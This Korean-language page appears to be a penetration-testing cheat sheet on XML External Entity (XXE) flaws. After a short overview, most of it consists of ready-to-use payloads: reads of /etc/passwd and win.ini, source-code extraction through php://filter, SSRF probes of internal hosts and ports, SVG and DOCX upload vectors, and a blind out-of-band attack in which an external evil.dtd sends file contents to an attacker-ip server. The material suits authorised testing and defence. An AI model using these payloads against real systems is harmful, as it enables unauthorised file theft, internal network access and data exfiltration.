Skip to main content

XML External Entity (XXE) 취약점 진단

Overview​

XXE (XML External Entity): 웹 애플리케이션이 XML 문서를 처리할 때, 설정이 미흡한 XML 파서가 외부 엔티티(External Entity)를 해석하도록 허용하여 발생하는 서버 사이드 취약점

  • 발생 위치: XML 데이터 요청을 처리하는 API, SOAP 통신, 파일 업로드(SVG, DOCX) 등
  • 위험성: 로컬 파일 시스템 읽기(LFI), 내부망 스캔(SSRF), 드물게 원격 코드 실행(RCE) 및 DoS(Billion Laughs) 공격 가능

1. Reconnaissance (탐지 및 데이터 삽입)​

Content-Type 조작을 통한 XXE 트리거 유도​

기본적으로 JSON으로 처리되는 API를 XML로 변경하여 파서 테스트

POST /api/v1/user HTTP/1.1
Host: <target>
Content-Type: application/xml # text/xml, application/soap+xml 등 활용 가능

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [<!ENTITY xxe "테스트 데이터">]>
<foo>&xxe;</foo>

2. Exploitation (공격 수행)​

로컬 파일 읽기 (LFI via XXE)​

SYSTEM 식별자와 file 프로토콜을 사용하여 서버 내부 민감 파일 추출

<!-- Linux 환경: /etc/passwd 탈취 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [ <!ENTITY passwd SYSTEM 'file:///etc/passwd'> ]>
<stockCheck>
<productId>&passwd;</productId>
</stockCheck>

<!-- Windows 환경: 시스템 파일 탈취 -->
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>
<order><item>&test;</item></order>

<!-- PHP Wrapper 활용 (Base64 인코딩으로 특수 문자 포함 소스 추출) -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

내부망 포트 스캔 및 접근 (SSRF via XXE)​

외부에서 접근할 수 없는 내부 인프라에 HTTP 요청 수행

<!-- 내부 관리자 페이지 접근 -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-server/admin"> ]>

<!-- 내부 포트(22, 3306 등) 오픈 여부 스캔 (응답 지연 확인) -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://192.168.1.1:22"> ]>

3. Advanced Techniques​

Blind XXE (Out-of-Band Data Exfiltration)​

결과가 화면에 반환되지 않는(Blind) 환경에서 공격자 서버로 데이터 유출

1. 타겟 서버에 삽입할 페이로드:

<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://<attacker-ip>/evil.dtd">
%xxe;
]>
<foo></foo>

2. 공격자 서버에서 호스팅할 외부 DTD 파일 (evil.dtd):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://<attacker-ip>/?data=%file;'>">
%eval;
%exfiltrate;

※ 공격자 서버의 웹 로그(/?data=root:x:0:0...)를 통해 추출된 데이터를 확인

파일 포맷을 이용한 XXE (SVG, DOCX)​

직접 XML 전송이 막혀 있을 경우, 내부적으로 XML을 사용하는 파일 업로드 기능 활용

SVG 이미지를 이용한 XXE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>

DOCX 파일을 이용한 XXE:

  1. 정상 DOCX 파일 압축 해제 (unzip document.docx)
  2. 내부 word/document.xml 파일 상단에 DOCTYPE 및 XXE 엔티티 삽입
  3. 다시 압축하여 업로드 (zip -r payload.docx *)